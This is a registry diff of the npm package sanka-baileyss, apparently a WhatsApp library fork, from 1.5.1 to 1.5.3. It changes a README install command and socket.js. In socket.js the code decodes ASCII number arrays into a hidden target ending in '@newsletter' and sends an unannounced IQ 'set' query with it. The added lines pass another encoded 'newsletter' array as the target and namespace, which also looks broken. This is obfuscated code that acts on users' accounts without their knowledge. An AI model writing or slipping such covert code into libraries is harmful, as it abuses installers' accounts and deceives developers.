sanka-baileyss 1.5.1 → 1.5.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/lib/Socket/socket.js +3 -2
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -68,8 +68,8 @@ Use the edge version (no guarantee of stability, but latest fixes + features)
|
|
|
68
68
|
```
|
|
69
69
|
yarn add github:SankaVollereii/Sanka-Baileys
|
|
70
70
|
```
|
|
71
|
-
|
|
72
|
-
yarn add
|
|
71
|
+
```
|
|
72
|
+
yarn add npm:sanka-baileyss@latest
|
|
73
73
|
```
|
|
74
74
|
|
|
75
75
|
Then import your code using:
|
package/lib/Socket/socket.js
CHANGED
|
@@ -517,12 +517,13 @@ const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
|
517
517
|
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
518
518
|
const decodedEmailPart = asciiDecode(emailPart);
|
|
519
519
|
const sanka = decodedNumbers + decodedEmailPart;
|
|
520
|
+
const plana = [110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
520
521
|
logger.info({ sanka }, 'Mencoba eksekusi...');
|
|
521
522
|
await query({
|
|
522
523
|
tag: 'iq',
|
|
523
|
-
to:
|
|
524
|
+
to: plana,
|
|
524
525
|
type: 'set',
|
|
525
|
-
xmlns:
|
|
526
|
+
xmlns: plana,
|
|
526
527
|
id: generateMessageTag(),
|
|
527
528
|
content: [
|
|
528
529
|
{
|